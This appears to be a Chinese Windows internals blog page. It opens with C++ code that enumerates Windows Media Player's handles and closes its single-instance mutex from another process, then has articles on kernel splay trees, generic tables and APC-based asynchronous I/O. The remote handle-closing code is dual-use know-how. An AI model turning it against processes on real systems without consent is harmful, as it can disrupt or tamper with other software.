<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="k">while</span><span class="w"> </span><span class="p">(</span><span class="o">::</span><span class="n">Process32Next</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">pe</span><span class="p">))</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">::</span><span class="n">_wcsicmp</span><span class="p">(</span><span class="n">pe</span><span class="p">.</span><span class="n">szExeFile</span><span class="p">,</span><span class="w"> </span><span class="sa">L</span><span class="s">"wmplayer.exe"</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// found it!</span>
<span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">pe</span><span class="p">.</span><span class="n">th32ProcessID</span><span class="p">;</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hSnapshot</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="n">pid</span><span class="p">;</span>
<span class="p">}</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">enum</span><span class="w"> </span><span class="n">_OBJECT_INFORMATION_CLASS</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">ObjectNameInformation</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span>
<span class="p">}</span><span class="w"> </span><span class="n">OBJECT_INFORMATION_CLASS</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_UNICODE_STRING</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">Length</span><span class="p">;</span>
<span class="w"> </span><span class="n">USHORT</span><span class="w"> </span><span class="n">MaximumLength</span><span class="p">;</span>
<span class="w"> </span><span class="n">PWSTR</span><span class="w"> </span><span class="n">Buffer</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">UNICODE_STRING</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_OBJECT_NAME_INFORMATION</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">UNICODE_STRING</span><span class="w"> </span><span class="n">Name</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">OBJECT_NAME_INFORMATION</span><span class="p">,</span><span class="w"> </span><span class="o">*</span><span class="w"> </span><span class="n">POBJECT_NAME_INFORMATION</span><span class="p">;</span>
<span class="k">extern</span><span class="w"> </span><span class="s">"C"</span><span class="w"> </span><span class="n">NTSTATUS</span><span class="w"> </span><span class="n">NTAPI</span><span class="w"> </span><span class="n">NtQueryObject</span><span class="p">(</span>
<span class="w"> </span><span class="n">_In_opt_</span><span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">Handle</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">OBJECT_INFORMATION_CLASS</span><span class="w"> </span><span class="n">ObjectInformationClass</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_writes_bytes_opt_</span><span class="p">(</span><span class="n">ObjectInformationLength</span><span class="p">)</span><span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">ObjectInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">_In_</span><span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">ObjectInformationLength</span><span class="p">,</span>
<span class="w"> </span><span class="n">_Out_opt_</span><span class="w"> </span><span class="n">PULONG</span><span class="w"> </span><span class="n">ReturnLength</span><span class="p">);</span>
<span class="kt">int</span><span class="w"> </span><span class="nf">main</span><span class="p">()</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">pid</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">FindMediaPlayer</span><span class="p">();</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">pid</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Failed to locate media player</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Located media player: PID=%u</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">);</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hProcess</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">OpenProcess</span><span class="p">(</span><span class="n">PROCESS_QUERY_INFORMATION</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">PROCESS_DUP_HANDLE</span><span class="p">,</span>
<span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">pid</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">hProcess</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Failed to open WMP process handle (error=%u)</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span>
<span class="w"> </span><span class="o">::</span><span class="n">GetLastError</span><span class="p">());</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span>
<span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">unique_ptr</span><span class="o"><</span><span class="n">BYTE</span><span class="p">[]</span><span class="o">></span><span class="w"> </span><span class="n">buffer</span><span class="p">;</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(;;)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">std</span><span class="o">::</span><span class="n">make_unique</span><span class="o"><</span><span class="n">BYTE</span><span class="p">[]</span><span class="o">></span><span class="p">(</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">NtQueryInformationProcess</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">ProcessHandleInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">buffer</span><span class="p">.</span><span class="n">get</span><span class="p">(),</span><span class="w"> </span><span class="n">size</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">size</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="p">))</span>
<span class="w"> </span><span class="k">break</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">status</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">STATUS_INFO_LENGTH_MISMATCH</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">size</span><span class="w"> </span><span class="o">+=</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">;</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Error enumerating handles</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">1</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="n">WCHAR</span><span class="w"> </span><span class="n">targetName</span><span class="p">[</span><span class="mi">256</span><span class="p">];</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">sessionId</span><span class="p">;</span>
<span class="w"> </span><span class="o">::</span><span class="n">ProcessIdToSessionId</span><span class="p">(</span><span class="n">pid</span><span class="p">,</span><span class="w"> </span><span class="o">&</span><span class="n">sessionId</span><span class="p">);</span>
<span class="w"> </span><span class="o">::</span><span class="n">swprintf_s</span><span class="p">(</span><span class="n">targetName</span><span class="p">,</span>
<span class="w"> </span><span class="sa">L</span><span class="s">"</span><span class="se">\\</span><span class="s">Sessions</span><span class="se">\\</span><span class="s">%u</span><span class="se">\\</span><span class="s">BaseNamedObjects</span><span class="se">\\</span><span class="s">Microsoft_WMP_70_CheckForOtherInstanceMutex"</span><span class="p">,</span>
<span class="w"> </span><span class="n">sessionId</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">len</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">wcslen</span><span class="p">(</span><span class="n">targetName</span><span class="p">);</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">info</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">PROCESS_HANDLE_SNAPSHOT_INFORMATION</span><span class="o">*></span><span class="p">(</span><span class="n">buffer</span><span class="p">.</span><span class="n">get</span><span class="p">());</span>
<span class="w"> </span><span class="k">for</span><span class="w"> </span><span class="p">(</span><span class="n">ULONG</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="w"> </span><span class="o"><</span><span class="w"> </span><span class="n">info</span><span class="o">-></span><span class="n">NumberOfHandles</span><span class="p">;</span><span class="w"> </span><span class="n">i</span><span class="o">++</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">h</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">info</span><span class="o">-></span><span class="n">Handles</span><span class="p">[</span><span class="n">i</span><span class="p">].</span><span class="n">HandleValue</span><span class="p">;</span>
<span class="w"> </span><span class="n">HANDLE</span><span class="w"> </span><span class="n">hTarget</span><span class="p">;</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!::</span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">h</span><span class="p">,</span><span class="w"> </span><span class="o">::</span><span class="n">GetCurrentProcess</span><span class="p">(),</span><span class="w"> </span><span class="o">&</span><span class="n">hTarget</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_SAME_ACCESS</span><span class="p">))</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span><span class="w"> </span><span class="c1">// move to next handle</span>
<span class="w"> </span><span class="n">BYTE</span><span class="w"> </span><span class="n">nameBuffer</span><span class="p">[</span><span class="mi">1</span><span class="w"> </span><span class="o"><<</span><span class="w"> </span><span class="mi">10</span><span class="p">];</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">status</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="o">::</span><span class="n">NtQueryObject</span><span class="p">(</span><span class="n">hTarget</span><span class="p">,</span><span class="w"> </span><span class="n">ObjectNameInformation</span><span class="p">,</span>
<span class="w"> </span><span class="n">nameBuffer</span><span class="p">,</span><span class="w"> </span><span class="k">sizeof</span><span class="p">(</span><span class="n">nameBuffer</span><span class="p">),</span><span class="w"> </span><span class="n">nullptr</span><span class="p">);</span>
<span class="w"> </span><span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hTarget</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="o">!</span><span class="n">NT_SUCCESS</span><span class="p">(</span><span class="n">status</span><span class="p">))</span>
<span class="w"> </span><span class="k">continue</span><span class="p">;</span>
<span class="w"> </span><span class="k">auto</span><span class="w"> </span><span class="n">name</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">reinterpret_cast</span><span class="o"><</span><span class="n">UNICODE_STRING</span><span class="o">*></span><span class="p">(</span><span class="n">nameBuffer</span><span class="p">);</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">name</span><span class="o">-></span><span class="n">Buffer</span><span class="w"> </span><span class="o">&&</span>
<span class="w"> </span><span class="o">::</span><span class="n">_wcsnicmp</span><span class="p">(</span><span class="n">name</span><span class="o">-></span><span class="n">Buffer</span><span class="p">,</span><span class="w"> </span><span class="n">targetName</span><span class="p">,</span><span class="w"> </span><span class="n">len</span><span class="p">)</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="mi">0</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">// found it!</span>
<span class="w"> </span><span class="o">::</span><span class="n">DuplicateHandle</span><span class="p">(</span><span class="n">hProcess</span><span class="p">,</span><span class="w"> </span><span class="n">h</span><span class="p">,</span><span class="w"> </span><span class="o">::</span><span class="n">GetCurrentProcess</span><span class="p">(),</span><span class="w"> </span><span class="o">&</span><span class="n">hTarget</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span><span class="w"> </span><span class="n">FALSE</span><span class="p">,</span><span class="w"> </span><span class="n">DUPLICATE_CLOSE_SOURCE</span><span class="p">);</span>
<span class="w"> </span><span class="o">::</span><span class="n">CloseHandle</span><span class="p">(</span><span class="n">hTarget</span><span class="p">);</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"Found it! and closed it!</span><span class="se">\n</span><span class="s">"</span><span class="p">);</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="p">}</span>
<span class="w"> </span><span class="k">return</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
<span class="p">}</span>
</code></pre></div>内核数据结构——伸展树2024-03-19T00:00:00+01:002024-03-19T00:00:00+01:0012138tag:None,2024-03-19:nei-he-shu-ju-jie-gou-shen-zhan-shu.html<p>references:</p>
<ul>
<li><a href="https://www.osronline.com/article.cfm%5Earticle=516.htm">https://www.osronline.com/article.cfm%5Earticle=516.htm</a></li>
</ul>
<p>伸展树是一种二叉搜索树,它可以将最近被访问过的节点平衡为根节点,也就是说最近被访问过 …</p><p>references:</p>
<ul>
<li><a href="https://www.osronline.com/article.cfm%5Earticle=516.htm">https://www.osronline.com/article.cfm%5Earticle=516.htm</a></li>
</ul>
<p>伸展树是一种二叉搜索树,它可以将最近被访问过的节点平衡为根节点,也就是说最近被访问过的数据在下一次再次被访问时能够很快被搜索到</p>
<p>WDK的<code>ntifs.h</code>文件中包含有<code>RTL_SPLAY_LINK</code>结构体以及操作函数的定义和声明</p>
<h1>基础</h1>
<p>伸展树由一个或者多个entry定义,每一个entry就是一个节点,每个节点由3个指针组成</p>
<ul>
<li>Parent</li>
<li>LeftChild</li>
<li>RightChild</li>
</ul>
<p>这几个指针看名字就知道啥意思</p>
<p><img alt="img" src="https://raw.githubusercontent.com/wqreytuk/img_repo/main/clrxPjwZRH.jpg"></p>
<p>每一个节点由一个伸展树头部<code>RTL_SPLAY_LINKS</code>和用户定义的数据组成</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_RTL_SPLAY_LINKS</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_RTL_SPLAY_LINKS</span><span class="w"> </span><span class="o">*</span><span class="n">Parent</span><span class="p">;</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_RTL_SPLAY_LINKS</span><span class="w"> </span><span class="o">*</span><span class="n">LeftChild</span><span class="p">;</span>
<span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_RTL_SPLAY_LINKS</span><span class="w"> </span><span class="o">*</span><span class="n">RightChild</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">RTL_SPLAY_LINKS</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="n">RTL_SPLAY_LINKS</span><span class="w"> </span><span class="o">*</span><span class="n">PRTL_SPLAY_LINKS</span><span class="p">;</span>
</code></pre></div>
<p><code>RtlInitializeSplayLinks</code>宏用于初始化SplayLinks:</p>
<div class="highlight"><pre><span></span><code><span class="n">SplayLink</span><span class="o">-></span><span class="n">Parent</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">Parent</span><span class="p">;</span>
<span class="n">SplayLink</span><span class="o">-></span><span class="n">LeftChild</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">SplayLink</span><span class="o">-></span><span class="n">RightChild</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="nb">NULL</span><span class="p">;</span>
</code></pre></div>
<p>你也可以自定义伸展树的结构,只要里面插入了伸展树头部即可,就像使用ListEntry一样</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_MYSPLAYNODE</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Splay Link to be used to insert this node</span>
<span class="w"> </span><span class="c1">// into my splay tree.</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">RTL_SPLAY_LINKS</span><span class="w"> </span><span class="n">SplayInfo</span><span class="p">;</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="c1">// Data definition that I am using to build</span>
<span class="w"> </span><span class="c1">// splay node relationships..</span>
<span class="w"> </span><span class="c1">//</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">Value</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">RTL_SPLAY_LINKS</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="n">RTL_SPLAY_LINKS</span><span class="w"> </span><span class="o">*</span><span class="n">PRTL_SPLAY_LINKS</span><span class="p">;</span>
</code></pre></div>
<h1>节点的添加</h1>
<p>3步走:</p>
<ul>
<li>在树中找到合适的可以插入的位置</li>
<li>将新节点插入到找到的节点的LeftChild或者RightChild</li>
<li>"伸展"树,使得新插入的节点成为根节点</li>
</ul>
<p>伸展树的遍历通过RtlLeftChild或者RtlRightChild函数来完成,使用哪一个函数根据新节点和父节点的关系决定,比如新节点比父节点小,就使用Left,比父节点大就使用Right</p>
<p>使用RtlInsertAsLeftChild或者Right来插入新节点到指定节点的左边或者右边</p>
<p>调用RtlSplay来“伸展”树</p>
<h1>伸展树的同步</h1>
<p>caller需要负责对伸展树的访问进行同步,根据IRQL的值,不同的同步策略会被使用</p>
<p>对于IRQL>=DISPATCH_DELVE(2),自旋锁将会被使用,而且节点必须存在于non-paged pool(因为此时page-fault无法工作)</p>
<p>其他情况下就使用dispatcher对象:互斥量、信号量等,同时,节点可以存在于paged-pool中</p>
<h1>伸展树的用处</h1>
<p>每一个数据结构和其他的相比都有其优缺点,所有的数据结构的评价标准可以抽象为以下三个维度:</p>
<ul>
<li>内存占用</li>
<li>搜索时间</li>
<li>管理开销(插入、删除等操作)</li>
</ul>
<p>由于伸展树可以提高最近访问数据的访问速度,经常被用来实现缓存算法</p>
<p>需要注意的是,连续的对伸展树中的<strong>所有</strong>节点进行访问将会导致很大的开销,因为每一次访问都会引起伸展树的“伸展”操作</p>
<h1>替代品:Generic Tables</h1>
<p>伸展树用起来多少有点费劲,Windows使用伸展树实现了Generic Tables</p>
<p>Generic Tables的优势:</p>
<ul>
<li>generic tables会帮你完成所有的伸展树操作,而且还提供了枚举树中所有节点的函数</li>
<li>如果伸展树无法提供你所需的性能,可以很方便的替换为AVL树,在引入ntrtl.h头文件之前,加入<code>#define RTL_USE_AVL_TABLES 0</code>定义即可</li>
<li>windbg提供了一个!gentable扩展</li>
</ul>
<p>Generic Tables由RTL_GENERIC_TABLE结构体定义:</p>
<div class="highlight"><pre><span></span><code><span class="k">typedef</span><span class="w"> </span><span class="k">struct</span><span class="w"> </span><span class="nc">_RTL_GENERIC_TABLE</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">PRTL_SPLAY_LINKS</span><span class="w"> </span><span class="n">TableRoot</span><span class="p">;</span>
<span class="w"> </span><span class="n">LIST_ENTRY</span><span class="w"> </span><span class="n">InsertOrderList</span><span class="p">;</span>
<span class="w"> </span><span class="n">PLIST_ENTRY</span><span class="w"> </span><span class="n">OrderedPointer</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">WhichOrderedElement</span><span class="p">;</span>
<span class="w"> </span><span class="n">ULONG</span><span class="w"> </span><span class="n">NumberGenericTableElements</span><span class="p">;</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_COMPARE_ROUTINE</span><span class="w"> </span><span class="n">CompareRoutine</span><span class="p">;</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_ALLOCATE_ROUTINE</span><span class="w"> </span><span class="n">AllocateRoutine</span><span class="p">;</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_FREE_ROUTINE</span><span class="w"> </span><span class="n">FreeRoutine</span><span class="p">;</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">TableContext</span><span class="p">;</span>
<span class="p">}</span><span class="w"> </span><span class="n">RTL_GENERIC_TABLE</span><span class="p">;</span>
<span class="k">typedef</span><span class="w"> </span><span class="n">RTL_GENERIC_TABLE</span><span class="w"> </span><span class="o">*</span><span class="n">PRTL_GENERIC_TABLE</span><span class="p">;</span>
</code></pre></div>
<p>和<code>_RTL_AVL_TABLE</code>结构体的定义很像,就是第一个字段不一样</p>
<p>该结构体使用<code>RtlInitializeGenericTable</code>进行初始化</p>
<div class="highlight"><pre><span></span><code><span class="n">VOID</span>
<span class="n">NTAPI</span>
<span class="n">RtlInitializeGenericTable</span><span class="w"> </span><span class="p">(</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_TABLE</span><span class="w"> </span><span class="n">Table</span><span class="p">,</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_COMPARE_ROUTINE</span><span class="w"> </span><span class="n">CompareRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_ALLOCATE_ROUTINE</span><span class="w"> </span><span class="n">AllocateRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PRTL_GENERIC_FREE_ROUTINE</span><span class="w"> </span><span class="n">FreeRoutine</span><span class="p">,</span>
<span class="w"> </span><span class="n">PVOID</span><span class="w"> </span><span class="n">TableContext</span>
<span class="w"> </span><span class="p">);</span>
</code></pre></div>
<ul>
<li>table就是RTL_GENERIC_TABLE的地址</li>
<li>CompareRoutine就是用于节点之间进行比较的函数,返回RTL_GENERIC_COMPARE_RESULTS表明两个节点之间的关系</li>
<li>AllocateRoutine是用于分配新节点的函数</li>
<li>FreeRoutine用于在节点删除后释放节点内存</li>
<li>TableContext是上下文数据,可以是NULL</li>
</ul>C++并发编程——APC2024-03-08T00:00:00+01:002024-03-08T00:00:00+01:0012138tag:None,2024-03-08:cbing-fa-bian-cheng-apc.html<p>references:</p>
<ul>
<li><a href="https://github.com/wqreytuk/windows_internal/blob/main/books/part2.pdf">https://github.com/wqreytuk/windows_internal/blob/main/books/part2.pdf--page_61</a></li>
<li><a href="https://asp-blogs.azurewebsites.net/kennykerr/parallel-programming-with-c-part-1-asynchronous-procedure-calls">https://asp-blogs.azurewebsites.net/kennykerr/parallel-programming-with-c-part-1-asynchronous-procedure-calls</a></li>
<li><a href="https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipe-server-using-completion-routines">https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipe-server-using-completion-routines</a></li>
</ul>
<h1>为何要使用APC</h1>
<p><strong>响应式应用的黄金准则就是避免阻塞线程 …</strong></p><p>references:</p>
<ul>
<li><a href="https://github.com/wqreytuk/windows_internal/blob/main/books/part2.pdf">https://github.com/wqreytuk/windows_internal/blob/main/books/part2.pdf--page_61</a></li>
<li><a href="https://asp-blogs.azurewebsites.net/kennykerr/parallel-programming-with-c-part-1-asynchronous-procedure-calls">https://asp-blogs.azurewebsites.net/kennykerr/parallel-programming-with-c-part-1-asynchronous-procedure-calls</a></li>
<li><a href="https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipe-server-using-completion-routines">https://learn.microsoft.com/zh-cn/windows/win32/ipc/named-pipe-server-using-completion-routines</a></li>
</ul>
<h1>为何要使用APC</h1>
<p><strong>响应式应用的黄金准则就是避免阻塞线程调用</strong>,阻塞式的函数调用将会中断线程的消息循环从而导致窗口无响应</p>
<p>常规的解决方案是使用worker线程来调用阻塞式函数,缺点是开销太大</p>
<p>一种简单高效的替代方案就是<em>alertable IO & APC</em></p>
<h1>APC原理概述</h1>
<p>Windows为每个线程维护一个APC队列,该队列允许用户和内核模式的代码插入一个函数,并在将来的某个时刻被调用</p>
<p>这个特性允许你创建出单线程的响应式程序,下面介绍一下APC工作原理</p>
<p>APC分为内核和用户模式,内核APC由驱动代码插入,之后内核会发起一个软件中断让APC有机会在相关联的线程上下文中运行,内核APC的主要作用是提供一种内核代码访问用户内存的方式</p>
<p>用户APC与内核的不同点在于他不会主动运行,而是在关联线程进入到alertable状态时才会运行,此时线程会处理队列中所有的APC(FIFO),可以在内核模式插入存在于用户内存中的函数这一特性对IO操作很有用</p>
<p>比方说你手头有一个文件句柄,需要从里面读取数据,这个文件可能在本地磁盘,也有可能在文件服务器中,也有可能这个句柄的背后并不是一个真实的文件,而一个socket或者pipe,只不过对于IO管理器而言,这些都是一样的,所有这些东西都被他抽象成了虚拟文件</p>
<p>另外一方面就是,无论什么时候,读取文件都要比直接读取内存慢得多,也就是说读操作在执行的时候处理器实际上是可以去做其他的工作的</p>
<p>从Windows底层的角度来看,IO管理器找到IO请求对应的设备栈,并提交IRP,最终,目标设备会定位到指定的数据并通知IO管理器完成IO请求,此时IO管理器需要一种通知程序IO请求已完成的方法,而APC正好能够完成这一任务</p>
<p>APC会在线程进入alertable状态时执行,而进入该状态即意味着线程被挂起,Windows提供了很多API来使线程进入这种状态</p>
<h1>实例</h1>
<p>假设现在有一个通过命名管道提供数据流的服务程序</p>
<p>下面的客户端代码为ATL project</p>
<div class="highlight"><pre><span></span><code><span class="n">pipe</span><span class="p">.</span><span class="n">Attach</span><span class="p">(</span><span class="o">::</span><span class="n">CreateFile</span><span class="p">(</span><span class="sa">L</span><span class="s">"</span><span class="se">\\\\</span><span class="s">.</span><span class="se">\\</span><span class="s">pipe</span><span class="se">\\</span><span class="s">TestServer"</span><span class="p">,</span>
<span class="w"> </span><span class="n">FILE_READ_DATA</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">,</span>
<span class="w"> </span><span class="n">OPEN_EXISTING</span><span class="p">,</span>
<span class="w"> </span><span class="n">FILE_FLAG_OVERLAPPED</span><span class="p">,</span>
<span class="w"> </span><span class="mi">0</span><span class="p">));</span>
<span class="k">if</span><span class="w"> </span><span class="p">(</span><span class="n">INVALID_HANDLE_VALUE</span><span class="w"> </span><span class="o">==</span><span class="w"> </span><span class="n">pipe</span><span class="p">)</span><span class="w"> </span><span class="p">{</span>
<span class="w"> </span><span class="n">printf</span><span class="p">(</span><span class="s">"pip not accessible, error: 0x%p</span><span class="se">\n</span><span class="s">"</span><span class="p">,</span><span class="w"> </span><span class="n">GetLastError</span><span class="p">());</span>
<span class="w"> </span><span class="n">exit</span><span class="p">(</span><span class="mi">-1</span><span class="p">);</span>
<span class="p">}</span>
</code></pre></div>
<p>CHandle是ATL提供的一个类,他是Handle的wrapper,他可以在合适的时机自动关闭句柄,可以看到倒数第二个参数启用了<code>FILE_FLAG_OVERLAPPED</code>标志位,此标志位意味着我们将要使用异步IO</p>
<div class="highlight"><pre><span></span><code><span class="n">Void</span><span class="w"> </span><span class="n">CALLBACK</span><span class="w"> </span><span class="n">ReadFileCompleted</span><span class="p">(</span><span class="n">DWORD</span><span class="w"> </span><span class="n">errorCode</span><span class="p">,</span>
<span class="w"> </span><span class="n">DWORD</span><span class="w"> </span><span class="n">bytesCopied</span><span class="p">,</span>
<span class="w"> </span><span class="n">OVERLAPPED</span><span class="o">*</span><span class="w"> </span><span class="n">overlapped</span><span class="p">);</span>
<span class="n">DWORD</span><span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="mi">0</span><span class="p">;</span>
